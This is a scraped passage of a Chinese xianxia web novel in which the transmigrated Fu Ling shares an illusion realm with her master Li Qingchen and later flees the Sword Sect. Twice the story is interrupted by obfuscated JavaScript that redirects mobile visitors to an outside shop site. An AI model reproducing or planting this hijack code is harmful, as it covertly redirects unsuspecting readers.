现在眼前的一切都是假的,她还怕什么? 自己穿进这个世界这么久,和李青尘相处的时间却是一个手指头都能数得出来。如今对方动也不能动,那她岂不是可以把心里最想做的都做出来了? 想到这里,她的呼吸乱得像是呛了一口水,然后看着安静睡着般的“李青尘,缓缓弯下腰去。 …… 李青尘陷入了几重梦魇里。 他回到了逃离藏锋谷后被追杀后的日子,回到十岁瘦小的身体,在丛林里隐藏身形,在暗处咬紧牙关。 直到他从暗处一跃而下,对着白袍的追兵见血封喉。 杀气四溢,鲜血破开迷障! 再次清醒,他嗅到了清冽的水汽,心中对接下来的幻境有了准备。 只是他骤然睁开眼,却看到了熟悉的一张脸——是他新收的小弟子。 他想要起身,却发现自己竟然动也不能动,睁目也是极细的一条缝,对方并未发现他已经苏醒。 再一微动视线,见那小弟子面露古怪,气息急促,竟然是寻常难以看见的的纠结之色,不由得心中一凛。 对方为何会出现在这里? 这也是他心中深藏的恐惧? ——他确实忌惮在受伤的时候手无缚鸡之力,被人杀死。 只是没想到那人是自己唯一的弟子。 但这也并非是无迹可寻,傅灵虽入宗已久,但他身上背负着如山似海的秘密,自然对这个看似心思跳脱实则眼藏秘密的弟子有所保留。 对方出现在幻境里在他意料之外,也在情理之中。 渐渐地,他放松了身体,半阖着眼眸,看着眼前的弟子深吸一口气,像是做下了什么决定一样,缓缓弯下腰来。 他虽不能动,但对灵力的运转已达丹境,指尖微微发亮。身上的人尤为不知,颤颤巍巍地伸出手,然后……环住了他的脖颈。 李青尘一愣。 “啊,终于碰到了。”小弟子虚虚地拢住他,在他的耳边发出了嘘叹,就像是觊觎秘宝已久的修士终于圆梦,却只是小心又满足地将其束之高阁。 李青尘睁开眼,平静的瞳孔中漫卷云舒,倏然映出顺柳而下的落花。 傅灵小心地抱了一下李青尘,感受对方的鼻息,还有宽阔的肩膀在臂弯中的起伏。碰不到真人好歹在幻觉里满足了。 “真的好瘦啊……在剑宗里每日只是看着就觉得瘦,没想到你瘦到骨头都凸出来了。回去后我一定多投喂你一些吃的……我忘了你都辟谷了,太可惜了……” 她嘀嘀咕咕的,想到这个秘境可能会杀死人,只能咂咂嘴,依依不舍地放开对方。 只是一回头,就对上了一双浓墨般的眼。 傅灵:“……” 李青尘:“……” 她觉得有些不对劲,那种微妙让她全身的鸡皮疙瘩都起来了,她像是被电了一般弹起来:“你是真的?!” “你并非幻觉……” 两人同时出声,然后对视一瞬后就各自别开眼。傅灵虽然不说话,但是脸色已经涨红得似是熟透的柿子。 李青尘发觉自己能动了,他起身缓缓将唇瓣收敛,思忖几瞬,瞳孔映出飘动的柳枝。 半晌,闭了一下眼,双眸又恢复了平静。 “你怎么会找到这里的?” 平静到仿佛刚才什么都没发生。 傅灵没听见,她还在心里怪系统没提醒她,系统说刚才已经说了眼前的李青尘是真的,是她太激动什么都没听见。 傅灵气到咬牙。 “徒儿,傅灵?” 傅灵像是被念了紧箍咒的猴子一样立正,“是,师尊!” 她整理了一下衣服,又抹去脸上的灰。将从掉进秘境里发生的事说了,见李青尘一直垂眸听着,不知怎地突然内心一动。 这里依山傍水,远处的山谷郁郁葱葱,隐约有飞檐翘角掩映其中。这里流水潺潺,远处却是鸦雀无声,一片死寂。 但她就是觉得……李青尘给她感觉不对。 倏然,她面色一变。 这里并非是什么世外桃源,而是藏锋谷外,现在就是李青尘被灭门屠宗的那日! “系统。”傅灵速速地问,“我为什么会出现在李青尘的幻境里?” 【宿主的记忆在世界规则之外,机关自然不能为你定制幻境。只能把你扔进李青尘的幻境里了。】 傅灵:“……” 简直比系统还要智障。 现在不是计较这个的时候,她记得在原文里李青尘亲眼看到宗门被屠,一遍又一遍无力地解救双亲,靠着强大的道心苦苦坚持了一个月,最后出来时已是神识恍惚,遭了庄天成的暗算。 她想到李青尘对身世的在意,又不想暴露自己知晓一切,只能压着焦急,轻声问: “师尊,我觉得这里奇怪得很。要不然……咱们往远处走走,找能出去的方法?” 李青尘不语,他拧着眉看着远处。 不知何时整个藏锋谷微微颤动,在云层之上几个白衣人负手而立。几人只是随手一指,整个藏锋谷似被地龙翻覆。 此时金光耀目,一柄金纹繁复的金剑出现在山谷上方,那是护宗神剑——悬光! 然而悬光莫名消散,整个藏锋谷若失去盔甲的心脏,完全暴露在杀意之下。啥时间,火海连绵,哀嚎声、怒喝声和数不清的剑光交织在一起。 被屠宗的藏锋谷如同人间炼狱。 傅灵看得牙齿都在打颤,不知道李青尘这个当事人作何感想。但对方从始至终一言不发。 直到傅灵看到一个瘦小的身影跌跌撞撞地从火海中逃出,那孩子穿着白衣,身影踉跄但步履坚定。 虽然看不清楚,但她就是莫名觉得——那是十岁的李青尘! 她下意识地就要冲出去,但手臂就是一紧,她马上回头: “师尊?” 李青尘平静地看向藏锋谷,那双向来浓如黑墨的双瞳映出了火焰。他轻声道:“莫动。” “可那是……”她咽下了剩下的话,“那是一个孩子……如果现在救下了他,即便改变不了什么,至少他心里……会好过很多。” 李青尘深深地看了她一眼,握着她的手比大火还要灼热。 “只是一个幻境而已。” 他说,不知是说给谁听的,又道:“打破幻境只需要知道这里是假的,就够了。” 说完,一手拉着傅灵,一指唤出长剑,倏然一划。眼前若被裁断的画卷,分崩离析露出密室昏暗空旷的样子来。 傅灵大松了一口气,终于出来了。 李青尘松开了握住她的手,视线偏了一瞬。傅灵没发现他的异样,看密室前方摆着几本秘籍,知道那就是属于李青尘的《鎏光诀》了,赶紧让对方拿了。 在旁边也有几本不起眼的功法,她翻了翻。有一本《阵法大全》,是原文里没有提到的秘籍。 应该是给她这只“小蝴蝶”的奖励。 她看了一眼李青尘,李青尘垂眸,意思是她可以拿走。 傅灵美滋滋地收了,翻了翻上面还有什么“引魂阵”、“招魂阵”,暗道自己虽然用不上,但好歹学了不亏。 那边,李青尘拿走鎏光诀,看着秘境门口上刻着的字,傅灵自然地念出:“千元归宗,万般化虚。亘古终启,静待时开。” 李青尘抬眼,“你认识这上面的字?” 傅灵回神,这才察觉上面的字竟然是现代的字!这是怎么回事? 【……作者在创造这个世界的时候不能面面俱到,天道法则在弥补世界漏洞的时候自然会参照作者所在的时代,自动填补相关设定。】 傅灵松了一口气,“吓死了我,我还以为这个世界还有前辈呢。” 她撇了撇嘴,暗道这个天道好不靠谱。 “是人界的文字。”傅灵半真半假地给李青尘解释,“我当初学了一点,可能是因为这个大能博学多才,想再考验修士吧。” 李青尘没说什么,将秘籍都收了后,傅灵在“开”和“启”字上按了按,两人都被传送了出去。 离秘境再次开启还有一个月的时间,傅灵知道庄天成肯定会搞事,因此对李青尘寸步不离。 在秘境开启前倒计时三天,他们果然碰到了庄天成和裘双双。 裘双双有点狼狈,看见两人眼圈就是一红。 “李师弟,傅师侄,见到你们真好……” 傅灵被裘双双抱个满怀,她有些僵硬,“我、我也是。” 庄天成的视线扫过虽然狼狈,但精神不错的二人,抱剑而来,“没想到你们两个运气这么好,竟然活到了现在。看来傻人还是有傻福啊。” 裘双双跺脚,“师兄!你怎么能这么说同门,大家都活着不好吗?” 庄天成走到李青尘旁边,上下打量,“我这可不是在说风凉话。越是临近秘境开启之日,那些活下来的弟子就越是疯狂。听说……灵兽门的那几个弟子在寻找千年灵芝,见到存活的修士就杀无赦,我有能力保护小师妹,可没能力保护……” 他的手就要碰到李青尘的肩,却被一把剑一挡。 “我和师尊不需要谁保护。”傅灵走了过来,她记得在原文里庄天成就将水凝蜂放在李青尘的肩上,让其隐匿身形的时候也被灵兽门的人找到。不提那些人被李青尘反杀,庄天成的借刀杀人确实让读者们愤怒了一回。 “就不牢师伯费心了。” 庄天成一笑,顺势拍了傅灵的肩膀,“李师弟别的不说,倒是收了一个好徒弟。” 话音未落,手腕就是一痛。 李青尘将傅灵拉了过去,一拉一挡之间他如同被波浪掀翻不由得退后几步。 “傅灵性直,还请师兄海涵。秘境大门开启在即,师兄师姐珍重。” 对方双眸平静,一如往常地谨慎有礼——如果忽略他将傅灵拉到身后的手的话。 庄天成直接笑出了声,“行,我这就不打扰你们师徒情深了。师妹,咱们走。师弟师侄,咱们……秘境外见。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16834590|191223||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 裘双双还想再说,被庄天成拉走了。 两人走后,李青尘视线一动,落在傅灵身上。傅灵拍了拍衣裙,道:“师尊,您放心。我知道大师伯看我不顺眼,没在身上留什么东西。” 李青尘隐约皱了一下眉,没说什么。 傅灵以为她够小心了,没想到还是引来了灵兽门的追击。 她和李青尘隐藏身形,看到那几个筑境后期的弟子面带阴狠地寻迹而来,不由得一惊。 她下意识地问系统,“系统,难道是剧情不可更改吗?为什么他们还会找到李青尘?” 系统没有正面回答,而是道:【集中精神,注意点。】 “注、注意什么?” 【注意,为了方便你展开接下来的业务……】 业务?什么业务? 傅灵还想再问,就听到其中一个灵兽门的弟子冷笑道: “这水凝蜂真是好用,用来喂火形鸟却是不够,寻人倒是强项。” 水凝蜂?不是被她拍掉了吗? “是蜂粉。” 李青尘传音入密,低声道。 傅灵恍然,原来是庄天成放蜜蜂不成改放了蜂粉,还在她的身上。要是被她逮到,定然在对方屁股上涂满了粉末,叮得对方裤子都穿不下才好! 她感叹李青尘心细如发,却察觉到对方的视线落在自己的肩上,向来平静的眉目竟然变得晦暗幽深。 “师尊……” 李青尘没说话,他收回视线垂下眼睫,似是入定般。 她还想再说,那边的人又道:“灵兽有听话的,就有那奸诈的。当初我们宗门就出了这么一个乱子:平时看不上的一个小弟子,本来唯唯诺诺的,但有一天突然被人发现身上流着灵兽的血——那人……畜生直接就咬了人,跑了!你说气人不气人?!” 因为之前的金刀门门主就背靠灵兽门,再加上各种文学作品里总是将这种驱使动物作战的宗门描绘成反派,因此她对灵兽门的印象并不怎么好。 此时听对方这么说,倏然就有种既视感。那种答案呼之欲出,但就在她要想出来时,只听“铮!”的一声响,李青尘出剑了! 傅灵一惊,原著里庄天成借刀杀人,哪知道李青尘在心神受创的情况下仍有不下于丹境修士的实力,这些灵兽门的弟子根本无异于送死。 但原文里没有人看到,李青尘可以大开杀戒,现在可是有个她啊! 怎么办?怎么才能在不拖后腿的同时又能保住李青尘的“秘密”? 哎,有了! 剑光出鞘,李青尘如同流光射出,在所有人都没有反应过来的时候,鲜血已经染红了草叶。 剑光收束,他拭剑、归鞘,一闭目,长睫一抬满眼又是平静。 只是疑惑身后为何毫无动静时,身形就像是被一杆长枪钉在原地。 在他不远处,一个身形狼狈的纤细身影躺在草丛里。她微躬着身体,只露出了半张侧脸,面色平静,灵气、气息全无。 李青尘沉默了一会,缓缓向前走去。每一步都压出了深刻的痕迹。 直到走到傅灵身前,这才缓慢地蹲下身,用几乎看不见的速度伸出手…… 傅灵骤然睁开眼,她坐起来大口喘气:“师尊,打完了吗?” 李青尘没说话,他还维持那个姿势,沉默地看着她。 傅灵也看了看自己,不好意思地笑笑,“对不起师尊,刚才我太怕了。庄师伯说那几个人特别厉害,我就想着不如装死好了……你还真赢了啊?怎么办到的,是有大能救了我们吗?” 李青尘缓缓站起身,他背对着她,点了一下头。 傅灵拍了拍身上的灰,她看着李青尘笔直的背影,倏然察觉到一点不对劲。 于是探出头去,见对方双眸平静,但她就是察觉出……他生气了。 “对不起啊师尊。”她揪了揪裙子,“事发突然我忘了告诉你了。我用的是绝灵阵的阵法,那阵法还挺有用的,没想闭气也能那么真……” 李青尘已然转身,“无事,出发吧。” 傅灵赶紧跟上去,“师尊,我吓到你了吧。你别怕,我怎么可能会死,我死了你怎么办?” 况且在别的话本里,她们这种师徒组合可是会纠缠三生三世的,就算是死了她也会变成鬼爬回来的。 可惜李青尘不懂这个“法则”,她见对方脊背僵硬,想到对方的怒气,心中有一个猜想。 李青尘生气了,是不是就代表……他在意自己一点点了? 她忍不住抿唇勾着嘴角,“师尊,说真的,我要是真死了,你怎么办啊?” 李青尘驻足,垂眸看她。 傅灵马上道,“我就是随口说说,说说而已。先说好啊,我要是‘走’了,你可不能把我的东西都丢掉,我们师徒缘份未尽,我回来可是还会用的……” 李青尘拧着眉,虽然不懂她的话,但在她期待的目光下终是轻轻点了一下头。 傅灵眨了一下眼,模糊的月亮已经变换了位置。 她倏然想到上上辈子看到的一句台词:“月亮,终是要西沉的。” 她闭了闭眼,撕下裙摆将伤口包扎了。然后继续走接下来的路。 终于在天亮之前,到达了自己的洞府。 她眯着眼看去,然后小心地将手掌贴了上去。 倏然一顿,然后不可置信地继续摸索了一阵。 终于,她的表情变成了一片空白。 她的洞府,不存在了。 11. 第十一章 偌大的别缘峰,似乎只能听见风的号哭声。 傅灵面无表情地跪坐在地上,她微低着头,什么声响都没有发出,但只能听到一滴一滴的,草露坠落的声音。 地面像是被雨洇湿,她抬起头,脸颊冰冷而又苍白。 她没想到整个洞府都消失了,不是被埋葬,也不是被破坏,而是彻彻底底地被抹除。 好像“傅灵”这个人在剑宗从未出现过。 李青尘,远比她想象中更恨她。 “你早就知道了。是不是,系统?” 对方已经来过剑宗,肯定将这里看得清清楚楚。回想一路上系统的沉默,她还有什么不明白的? 【没有亲眼见过,你肯定不会相信,也不会……死心。】 傅灵的喉咙剧烈颤动着,好半晌她才能发出声音: “难道我的离开也不能代表我的死心么?” 系统没有回答,回答傅灵的只有指尖下潮湿的沉默。 她缓缓起身,靠在丝毫看不出存在过洞府的山壁上,看着远处的天色渐渐吐白。 确实,她死没死心只有自己知道。如果死了心,怎么会频频回忆起以前。如果死了心,为什么要表现出对剑宗的熟悉。如果死了心,自己脸上、指尖上的液体又是什么? 想到百年后李青尘近乎神祇一般的冰冷,她笑了一下。 系统说得对,一百年谁都变了,只有她一如既往地天真。 今晚的凌家村下了雨。 凌父凌母躺在床上辗转反侧,两个儿子在隔壁睡着,他们两个舍不得打扰,但总是在意老七住的那个柴房,似乎隔一会就发出一点声响,就好像……老七还在一样。 两人被这个猜测吓得打了个哆嗦。 “老头,你说是不是……老七的魂儿回来了?” “你瞎说什么?老七是去仙家享福去了,怎么可能变、变成鬼?” “……她要是去享福,怎么可能一次都没回来过呢?” 凌老头不说话了。两口子战战兢兢,直到天蒙蒙亮才敢拿着锄头小心翼翼地靠近柴房。你推我、我推你最后一起推开了柴房的门。 “谁在里面,赶紧给老子滚出来!” 这一声喝让凌家老三老四都醒了,凌老头刚举起锄头,“砰”地一声跪倒在地。 在那一瞬间,老两口以为自己见到了仙人。 他们之前见到剑宗的修士,喊一声仙人既是怕,又是恭维之举,如今见到昏暗逼仄的柴房里站着的那道身影,方知什么是仙人之姿,还未看清脸膝盖就已经软了下去。 两人战战兢兢,大气都不敢出。 仙人坐在木桌前,说是木桌只是破旧的木板搭建的罢了,老七在的时候被擦得干干净净,这几天落了灰凌父忘了扔。 “你们就是凌七的父母?” 凌父凌母不知道老七犯了什么事,既然仙人找上了门,赶紧答了。 仙人放下茶杯,缓缓起身。却不是径直走向他们,而是顺着桌沿摸索,缓缓迈步。 ……竟像个瞎子一般。 意料之中地,迈了一步就踢到了占据了半个房间的柴禾。 两人一愣,思忖了一会后才明白,昨夜听到的声响是怎么回事——原来是这个仙人如老七一般在行动! 两个人被自己的猜测吓得毛骨悚然,然后就看到仙人的长靴走到了面前,“那你们就说说凌七的事……从她出生时开始说起。” 面对仙人,凌老头完全没了恭维的心思,也没推脱的胆量。跪在此人面前也只觉得被神祇注视,心思如同太阳下的蝼蚁被看得明明白白。 他咽了一口口水,颤声说: “我家、我家老七从生下来就看不见、听不见。说来也奇、奇怪,虽然她不声不响,但我俩看她那双黑黝黝的眼睛,就觉得她什么都明白……” 浑身冷意的仙人坐在柴房里听了一夜的雨,又听了一天的故事。 仙人来时如同冷寂的夜雨,离开时如同雨霁的流云。 只留下了一扇永远也打不开的柴房门,还有开了一天的口,从此失声的凌家人。 “隔壁是谁走了?” “好、好像是仙人!他、他像云一样消散了!” “哎呦,看来老七还活着呐……” “爷爷,您不糊涂啊?” “废话,我又聋又瞎又不是傻!那人在老七的破柴房里待了一天一夜,我能不明白吗?!” 傅灵在几个弟子上山之前回到了李青尘的洞府。 她面色苍白,身形狼狈,坐在洞府前,像是随时风化的石像。 几个小弟子吓了一跳,想要扶起她,她的唇瓣微动: “我没事,只是昨晚出去……散心。不小心从小路跌了下去,已经好了。” 几人面面相觑,留下治伤的丹药,有宗主命令在先,几人不敢说什么施礼告退。 【宿主,还在生我的气?把丹药吃了吧。】 傅灵的视线一点点地落在地上的药瓶上。她并非是生气,而是迷茫。没了洞府,她还能去哪里寻找残魂? 如果残魂不在剑宗里,还能在哪里? 又或者说……她还能去哪里? 日光逐渐从她的眼角溜走,她看着逐渐变形的树影,身形也狭窄纤细得似乎能延伸缝隙里去。 倏然,她感应到了树叶在动,不是风吹,而是被什么压倒的声音。她没动,只是有些惫懒地垂下眼睛。 直到她的手臂一紧,她瞬间转过头,看到一张眉目狭长的少年的脸。 “凌姑娘,别怕,是我!” “……” 对方一身狼狈,又快又急地凑了上来。很明显是偷偷进来的,头上和身上都沾了不少叶子,像是从草丛里窜出来的狐狸。 不是狐狸,是符骄。 这一凑近,符骄比她还吃惊,拉着她的手臂就将她上下打量个遍,“你怎么受伤了?是不是师父惩罚你了?师父他怎能这样,怪不得一连几日都没有放你出来……” 傅灵顿了顿,问:“你为何会在这里?” “当然是带你出去!”他的说话声音大了点,左右看了看又在她的耳边道,“我是偷跑出来的,趁着师父不在,白天看守不严,我这就带你出剑宗!” 傅灵却没动。 符骄有些忐忑,以为她不愿走舍不得祁寻,却看傅灵缓缓抬起头,看了远处的残云一眼,道:“好,就出剑宗。” 只是在剑宗里找不到残魂而已,又不是代表在别处找不到。 天大地大,难道还没有她的容身之处吗? 她踉跄地站起来,跟着符骄离开。因为怕被天上御剑的修士发现,两人只能先到山脚再从剑宗里混出去。 据符骄所说,他在执法堂里收不到她的消息,问裘长老的时候她言语含糊,立刻就察觉到了不对。他和执法堂的人关系不错,趁着对方放松警惕的时候逃了出来。 他还向庄天成借了一样法器,这才能闯过李青尘设下的禁制。 然而他如何“逃出来”,又是如何“借”走法器,却是一个字都没提。 两个人在山路上艰难地行进着,倏然前方映出一个黑影,符骄的瞳孔隐约绷成残月,他将傅灵掩到身后,“莫怕,也许是灵兽,只是别缘峰杀气甚重,怎么可能会有……” 话音未落,树丛里窜出一个黑影。 对方和符骄不相上下的狼狈,但胸膛却没多少起伏。 两人异口同声: “你怎么也在这里?!” “当然是为了救凌姑娘,你是怎么跑出来的?!” “关你屁事!” 两人又同时沉默,祁寻先冷然道:“我就知道你身上藏着秘密,执法堂岂是那么容易逃出来的?” 符骄也冷笑,“彼此彼此,穿过禁制时一点声响都没发出,我也是小瞧了你。” 祁寻没理他,看傅灵身上带伤,立刻变了脸色,“我果然没来错,如果再不救凌姑娘出去,不知师父会如何惩罚她。” 两人既然是为了同一件事而来,只好暂时放下干戈。祁寻拿出剑宗弟子的衣袍让傅灵换上,符骄怒视,祁寻道: “你既然想到带她混出剑宗,就没想过带一套衣物?” 符骄咬牙,暗道他怎么没想到这一层,白白给了祁寻表现的机会。 只是剑宗弟子的衣服看似简单,其实内里繁复,凌姑娘又有目疾,如何穿好? 他们又不能帮她穿…… 两人正无措的时候,傅灵已经自然地接过衣物,道: “我自己来。” 她走到树后换衣。 别缘峰格外死寂,霎时间似乎只能听到一点细碎的声响,祁寻两人背对着站着,脸色比残阳还要红。 片刻,傅灵脸色平静地出来,两人先大致扫了一眼。看她穿得整齐,连配饰都没有错一处,不由得愣了一瞬。 傅灵道:“总是看你们穿弟子服,没想到会有穿上的一天,多谢……” 符骄回神,道:“倒是合适……莫管那么多了。天色一黑就会加强巡查。我们一定要在日落之前混成历练弟子出宗!” 看着天上巡逻的弟子,三人加快步伐,很快就到了山脚。 符骄先到禁制入口,掏出一把蓝色匕首用力一划,眼前毫无反应,他的面色不由得一变。 “这是我之前借的庄天成师叔的割月刃,传说这把匕首锋利无比,能割开大部分法阵,刚才我明明就靠着它进来,怎么片刻就……” 祁寻的面色更冷,他伸出手在空气中推了推,指尖溢出一丝光亮,似是推开薄膜的瞬间被弹了回来。 “我有一门秘术,可以将人暂时变成……毫无气息的死物。由此可以进入禁制。现在看来……已经无用了。如果我猜得没错,这个禁制就是传说中的补灵阵法,即便禁制被人损毁也会很快修复,且强度更甚从前。” 符骄倒吸了一口凉气,“传说中的阵法?师父为了关一个凡人把这么厉害的阵法都搬出来了,他就这么想把我和凌姑娘分开吗?” 傅灵抬起头,灰蒙蒙的眸子里映出逐渐暗沉的天。她虽然看不见,但因祸得福对灵气的感知更为敏锐。 禁制也只不过是阵法的一种,将所有灵气聚集浇筑成一道看不见的墙。补灵阵法之所以强是因为它能源源不断地汲取灵气,修补升级。 若是用截气阵截住灵气可能有用,可惜她现在没有灵力,而且这两人恐怕也不会用百年前的法阵。 她伸手摸了摸,眸光一闪,“我不懂你们的阵法,但我知道它若是需要灵力修补,那把灵力截住了不就好了。” 符骄叹口气,“话是这么说,只是这等化境级的法阵,岂是那么容易……” 话音未落,祁寻看了傅灵一眼,指尖化作枯木一般的颜色,对准傅灵指尖碰过的方向一探。 如同枯木截流,霎时间,金光一顿,被符骄划过的缝隙再度裂开来。 符骄目瞪口呆:“你还有这一手?!” “莫要耽搁,走吧。” 三人大步走出剑宗。符骄祁寻两人虽然之前被关在执法堂,但两人到底是宗主的弟子,再加上面色平静自然,没有人怀疑两个人是逃出来的。 傅灵虽然在剑宗里掀起那么大的风波,但她一直被困别缘峰,见过她的毕竟是少数。因此一路倒也顺利。 她微微低着头,眼角略过剑宗的大殿,大殿之前的静心台是她每天早上都要念心经的地方。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16834591|191223||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 还有远远地只露出一角的灵书阁,她在灵书阁帮忙时最喜欢看檐下的玉铃。 背后就是她最经常去的灵兽园,她本以为在记忆中很远了,其实转身就能看到…… 没想到回到剑宗,直到现在才能看到以前…… 傅灵闭了闭眼,再睁眼时只有那个看似很近的剑宗大门。 剑宗石碑就伫立在其侧,碑顶骤斜,断面直插云霄,在猎猎寒风中似乎发出沉寂百年的痛苦哀鸣,又似看到断碑之人,控制不住地颤栗…… 符骄看她出神,以为她还在意入宗那天的事,马上传音入密: “凌姑娘,当初郭师叔拿这个破石碑吓唬我们的话完全是胡说八道!什么断情绝爱什么一心向道的,若是有用的话,我们的师父还能断了这石碑?你莫要在意!” 祁寻气道:“这是什么时候,还有心思说起此事?” 符骄冷笑,“反正别人听不见。你不想解释,我还怕凌姑娘误会呢!” 祁寻抿了一下唇,“话虽如此,但也不能因师父不在就妄议当年。” 符骄道:“你都闯山救人了,还装什么好弟子。要我说师父就是吃不着葡萄说葡萄酸!再说你没好奇过这上面到底写了什么,让他当年那么生气?” 傅灵的视线变得朦胧。 其实李青尘也不知道她到底写的是什么,只是早知道李青尘那么生气,她干脆就骗他是骂他的话好了…… ———— 在秘境前的最后一天,李青尘找到了庄天成,并教训了对方一次。 对,是“教训”,不是“杀死”。这是第一次傅灵看到剧情的偏离。 回宗的时候,看着庄天成狼狈地飞向洞府,傅灵叹了一口气。 虽然庄天成留了一条命,但是付出的代价是不是太大了,而且他没想到李青尘是让她…… 看着庄天成的背影,裘双双抹去眼角的红痕。她转过头时面色已经恢复平静,秘境一行她很快就成熟了很多。 “多谢李师弟饶大师兄一命。多谢你,傅灵。谢谢你的求情。” 傅灵摆手,“我也没做什么,况且现在我也不知道……唉。反正你不要太忧心了,这事本来就和你没关系。” 裘双双摇头一笑,“你放心,经过这次历练,我看到了什么是一时兴起,什么是真正的……互相维护、互相挂念的感情。你们两个……此后不易,一定要好好的。” 傅灵:“?” 李青尘看着裘双双的表情,微一思忖,瞳孔瞬间一动。 傅灵不明所以,看着裘双双离开问李青尘,李青尘也不语。 她“啧”了一声,看着越来越近的剑宗石碑,逐渐被慑于心神。她对这个世界的文字并不熟悉,有时候还是系统帮她读秘籍。 最近,她终于认全了这上面的字—— “剑宗圣地、外族擅闯、万剑无赦。” 李青尘用低沉的嗓音读出上面的话,“这是剑圣留下来的宗规。在灵界仙、魔、妖势不两立。有任何妖邪或者心思不正者进入剑宗,会被万剑诛杀。” 傅灵撇了撇嘴,她这个“书外人”算不算“外人”,她不还是正大光明地进去了吗? 心思不正?想攻略师尊,冒修仙界大不韪算不算“心思不正”啊? 她想反驳给李青尘听,又怕说出来吓到对方。见他虽恢复垂眸敛然的模样,但仍露出一丝沉郁,便不再多话了。 晚上,她躲过守卫,在石碑上写下“傅灵到此一游!” 看着自己张牙舞爪的字,正美滋滋地欣赏,倏然听到身后传来微叹的声音: “你在石碑上写了什么?” 傅灵吓了一跳,眼睁睁地看着李青尘从暗处走出来,她赶紧将其拉到一边:“师尊,你怎么过来了?” 李青尘不语,她想到他白天的沉默,瞬间了然。虽然在原著里李青尘杀伐果断,但到底是共处了两年的师兄,被对方算计一定不好受。 她就道:“这些都是人界的文字啦。我其实也没写什么,就写了我和你的名字……‘剑宗弟子傅灵,永远推崇、永远信任、永不欺骗师尊李青尘!’” 说完,她也有点心虚,毕竟她的存在就是一种“欺骗”。按照原著李青尘杀伐果决的性格……算了,反正字数对不上,她只等李青尘说她胡说八道。 但李青尘缓缓抬眼,那双向来平静的瞳孔,此时却如同融了夜色,比天际的阴云还要重。 他说…… “等一下,两位师兄,你们……能从执法堂出来?” 傅灵回神,发现走到门口,符骄两人就被守卫拦下。 那守卫原是执法堂的守卫,今日轮值到此,看见两人不由得疑惑,手也下意识地握紧长剑。 祁寻微一皱眉,符骄就抬起手臂将对方搂了过去,“嘘——莫要声张。我们之前犯了错,这两日好不容易趁着师父出宗求得原谅,秦师叔特赦我们出来,但要出去带着小师妹捉妖以功补过……” 那守卫含糊地信了,视线自然扫向傅灵。祁寻不动声色将其挡住,只露出一双平静至极的眼。 守卫顿了一下,将几人放行。 符骄和祁寻带傅灵走到石碑附近,见终于出了剑宗终于大松了一口气。 无论此行去哪里,先把凌姑娘送出灵界再说。 两人唤出仙舟,扶她上去。傅灵的指尖刚撑在车门上,远处倏然传来音啸之声。 流云层层破溃,似有无形朔风逆流而来。祁寻和符骄齐齐变了脸色,如同绷紧的弓弦。 傅灵下意识地回头,见入云石碑震颤不止,如同百年伤痕遗留的哀鸣,系统急急说道: 【宿主,小心!】 傅灵瞬间捏紧了指尖。 12.第十二章 那声音如同弓弦的哀鸣,声音虽在路上,但离弦之箭瞬间就会穿透他们的心脏。 符骄的瞳孔缩成了一线,“好、好像是师父,他回来了!他不是说好离宗七日吗?!” 祁寻厉声道:“莫要发愣,还不快走!” 但已经晚了,傅灵刚进入仙舟,便能听到哀鸣戛然而止,像是在一瞬间天地死寂,惶然无声。 身后,剑宗洪钟一撞,郭昆往日低沉如今却如催命般的声音滚滚而来: “恭迎宗主回宗、恭迎宗主回宗!!” 霎时间,所有剑宗弟子停足伫立,齐齐看向天门,门口守卫瞬间单膝跪地。 一团金光在云层中如聚如散,骤然化为一道修长的人影。 祁寻和符骄面色惨白,看了一眼身后的仙舟,迅速躬身,只能期望师父不要注意到他们。 郭昆带着众弟子极速飞来,垂眸一拜: “宗主,不知宗主提前回宗,有失远迎,还请恕罪。” 李青尘的白袍在空中猎猎,他抬起手免去郭昆的多礼。身形正要消失。 但他的眉心却一动。 垂眸,见剑宗弟子束手以待,若繁星点点密布华宗,远处圣殿仙阁无不庄严肃穆,流云漫卷,别缘峰依然沉默伫立。 一如往昔,百年前的剑宗如此,百年后也似乎如此,没什么特别的。 但他的长睫倏然顿住,若翻涌云海缓缓抬起,黑沉的瞳孔寸寸扫过,阴云一般将整个剑宗尽笼眼底。 从别缘峰的峰顶到峰底,最后神识碾压般落在了剑宗石碑旁。 以往这个时候宗主会很快就回洞府,怎么今日如此沉默? 郭昆疑惑抬头:“宗、宗主?” 李青尘缓缓放下手,问: “郭长老,违背我的令谕有何惩罚?” 郭昆不明,还是如实道:“宗主之令当如宗规,如违宗规……按情况而论,应先交于执法堂处置。” 李青尘勾了一下嘴角,他很少笑,这一笑却如深渊寒风:“执法堂……剑宗的执法堂也只是如此了。” 在郭昆惊讶之前,李青尘对准地面缓缓一指。霎时间,两个低着头的弟子如载千钧,膝盖“砰”地一声落了地。 郭昆随眼看去,立刻大惊:“祁寻?符骄?!你们两个何时从执法堂出来的?是秦师兄放你们出来的?” 祁寻咬牙出声:“弟子……” 郭昆又看到了两人身后的那个仙舟,熟悉感让他的眼角一跳。 “你们是要出宗?那船里藏了什么人?” “没有什么人!”符骄急急说道,“是我们两个人不服师父惩罚,想要离宗出走!” 郭昆哼了一声,一股灵力急撞仙舟而去,却被另一道金光轻易撞散。李青尘收回手掌,视线定在那一叶仙舟上。 “出、来。” 只是两个字,却被他念得十分缓慢,像是从唇齿间嚼碎了又徐徐吐出。 